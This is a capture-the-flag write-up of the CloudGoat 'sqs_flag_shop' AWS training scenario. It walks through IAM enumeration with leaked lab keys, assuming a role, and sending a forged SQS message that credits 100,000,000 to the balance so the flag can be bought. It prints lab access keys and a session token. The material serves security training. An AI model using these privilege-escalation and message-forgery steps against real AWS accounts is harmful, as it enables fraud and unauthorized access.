Warning Spoilers!

This is a write up the CloudGoat scenario sqs_flag_shop and was created by the Best of the Best 12th CGV Team (Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo)

Installation

git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py

If you run into an issue when installing the requirements you may have to install a newer version of PyYAML.

If your using custom aws profiles use the following command.

./cloudgoat.py config profile

Scenario

The goal of the scenario is to buy FLAG successfully from the shop site.

./cloudgoat.py create sqs_flag_shop
# cg_web_site_ip = http://3.86.15.225:5000
# cloudgoat_output_sqsuser_access_key_id = AKIAZ6IIT5XUVJ456RGO
# cloudgoat_output_sqsuser_secret_key = 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

Launching the scenario took about 8 minutes to complete. I’m going to first look over the web page before the AWS keys.

sqs flag shop website

The following endpoints were found when quickly looking over the site.

GET

  • http://3.86.15.225:5000/ The main page showing what items can be bought
  • http://3.86.15.225:5000/charge Honestly not sure what this page does
  • http://3.86.15.225:5000/receipt Shows the recent purchase

POST

  • http://3.86.15.225:5000/purchase/apple Buys and apple
  • http://3.86.15.225:5000/purchase/flag Buys a flag, fails because user does not have enough money
  • http://3.86.15.225:5000/charge_cash/10 Adds 10 assets to our balance (also charge_cash/1 and charge_cash/5)
  • http://3.86.15.225:5000/initialize_asset Resets balance back to 3000

When looking in the source we found a link to maybe the source code https://github.com/RhinoSecurityLabs/cloudgoat/scenarios/sqs_flag_shop/terraform/source/flask

Time to look at the AWS keys

export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUVJ456RGO
export AWS_SECRET_ACCESS_KEY=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

aws sts get-caller-identity
# {
#     "UserId": "AIDAZ6IIT5XUV6XED4M5T",
#     "Account": "0123456789",
#     "Arn": "arn:aws:iam::0123456789:user/cg-sqs-user-sqs_flag_shop_cgids4107y9p0b"
# }

Lets start by enumerating for the users permissions.

aws iam list-attached-user-policies --user-name cg-sqs-user-sqs_flag_shop_cgids4107y9p0b
# None

aws iam list-user-policies --user-name cg-sqs-user-sqs_flag_shop_cgids4107y9p0b
# cg-sqs-scenario-assumed-role

aws iam get-user-policy --user-name cg-sqs-user-sqs_flag_shop_cgids4107y9p0b --policy-name cg-sqs-scenario-assumed-role
# {
#     "UserName": "cg-sqs-user-sqs_flag_shop_cgids4107y9p0b",
#     "PolicyName": "cg-sqs-scenario-assumed-role",
#     "PolicyDocument": {
#         "Version": "2012-10-17",
#         "Statement": [
#             {
#                 "Action": [
#                     "iam:Get*",
#                     "iam:List*"
#                 ],
#                 "Effect": "Allow",
#                 "Resource": "*"
#             },
#             {
#                 "Action": "sts:AssumeRole",
#                 "Effect": "Allow",
#                 "Resource": "arn:aws:iam::0123456789:role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b"
#             }
#         ]
#     }
# }

The user can get and list iam resources and also assume another role.

Lets first see what access it has before we assume it.

aws iam list-attached-role-policies --role-name cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b
# None

aws iam list-role-policies --role-name cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b
# cg-sqs_scenario_policy

aws iam get-role-policy --role-name cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b --policy-name cg-sqs_scenario_policy
# {
#     "RoleName": "cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b",
#     "PolicyName": "cg-sqs_scenario_policy",
#     "PolicyDocument": {
#         "Version": "2012-10-17",
#         "Statement": [
#             {
#                 "Action": [
#                     "sqs:GetQueueUrl",
#                     "sqs:SendMessage"
#                 ],
#                 "Effect": "Allow",
#                 "Resource": "arn:aws:sqs:us-east-1:0123456789:cash_charging_queue",
#                 "Sid": "VisualEditor0"
#             }
#         ]
#     }
# }

The role has permission to get and list all related to the SQS resource cash_charging_queue. Lets now assume that role.

aws sts assume-role --role-arn arn:aws:iam::0123456789:role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b --role-session-name sqs_send_msg_role
# {
#     "Credentials": {
#         "AccessKeyId": "ASIAZ6IIT5XU43NIQRU6",
#         "SecretAccessKey": "JBkBIwr9uxwExoAXOMyukW1cqg2bikGTmPciXyhM",
#         "SessionToken": "IQoJb3JpZ2luX2VjEDoaCXVzLWVhc3QtMSJHMEUCIH6bHO7I2DWzuTWauxUfez2zsTmVl2Xmw7/tq9mA7pv4AiEA0SPa2XluATPxu0ex6blWQH4Eo0k1mkGLTGSi1KTLAooqpwIIkv//////////ARACGgw2ODM0NTQ3NTQyODEiDNJRbwbe3h7z89c58yr7AUGIB3Nj/SrFuBIXKw6Q/ZK2dZs4OUIhy3nVJDTEx8jRBkyVys4KtXOfQlf82ab1S+/h4FOL/knaTxr2q5xVNOMQutGJL6SokA7UuZemUTFOw0F8Dam9c8sl/uQ7NwaKUVYHlsvWW0tAPhp7bl+EQcTnj19OU9+5LdlvZB3BTFCaxlfqYXtz0Wd73FsY6oXKj07oU6ef8+7zhA0v8cBklJq8kCgyrIw8yU2tlQQeWrljRY6eZ+Hlt2MouK8BG0VuZA09Mt5gDqRGRGYDQ/UOrLCmD+lwvXg86Kz1R+86B2/Fdi8VxhMrqY47TRyC1YvM2aG6CDMcpxQM53RmMIb7jasGOp0BmwLMwRFjAd1YJzXIm5AZETbuCEo8LphJyOJbqYI0us33a2BNO/Om/q0Wbe4HAX1lMaUa+3x2oK65IzlmLT6K0CT4WGSslYAKhv2l8s4x+qIuV9ZmDZcEQWv8zc0dAc2c/k3f9YWdjonRVR2usHMlSedvCzzMD9c1lch2S/hpwXWQDxfPonue9x32fE15C+DaKB5WHHBckBg9XRtWJA==",
#         "Expiration": "2023-11-26T18:16:54+00:00"
#     },
#     "AssumedRoleUser": {
#         "AssumedRoleId": "AROAZ6IIT5XUUHVLV4LRK:sqs_send_msg_role",
#         "Arn": "arn:aws:sts::0123456789:assumed-role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b/sqs_send_msg_role"
#     }
# }

In a new terminal session

export AWS_ACCESS_KEY_ID=ASIAZ6IIT5XU43NIQRU6
export AWS_SECRET_ACCESS_KEY=JBkBIwr9uxwExoAXOMyukW1cqg2bikGTmPciXyhM
export AWS_SESSION_TOKEN=IQoJb3JpZ2luX2VjEDoaCXVzLWVhc3QtMSJHMEUCIH6bHO7I2DWzuTWauxUfe.....

aws sts get-caller-identity
# {
#     "UserId": "AROAZ6IIT5XUUHVLV4LRK:sqs_send_msg_role",
#     "Account": "0123456789",
#     "Arn": "arn:aws:sts::0123456789:assumed-role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b/sqs_send_msg_role"
# }

Lets now do some sqs diggin

aws sqs get-queue-url --queue-name cash_charging_queue
# "QueueUrl": "https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue"

aws sqs get-queue-attributes --queue-url https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue --attribute-names All
# An error occurred (AccessDenied) when calling the GetQueueAttributes operation: User: arn:aws:sts::0123456789:assumed-role/cg-sqs-send-message-sqs_flag_shop_cgids4107y9p0b/sqs_send_msg_role is not authorized to perform: sqs:getqueueattributes on resource: arn:aws:sqs:us-east-1:0123456789:cash_charging_queue because no identity-based policy allows the sqs:getqueueattributes action

Lets try adding our own queue messages. Lets see if there is a max we can add to it when hitting it from the sqs queue…

aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/0123456789/cash_charging_queue --message-body "{\"charge_amount\": 100000000}"

No max amount we can add to our balance, we should now have enough to buy the flag!

alt text

Clicking on the order flag it subtracts 100 million, going to the receipt page we can view the flag!

sqs flag shop flag

Cleanup

Takes about 20 minutes to destroy the scenario since were using a Lambda attached to the VPC

./cloudgoat.py destroy sqs_flag_shop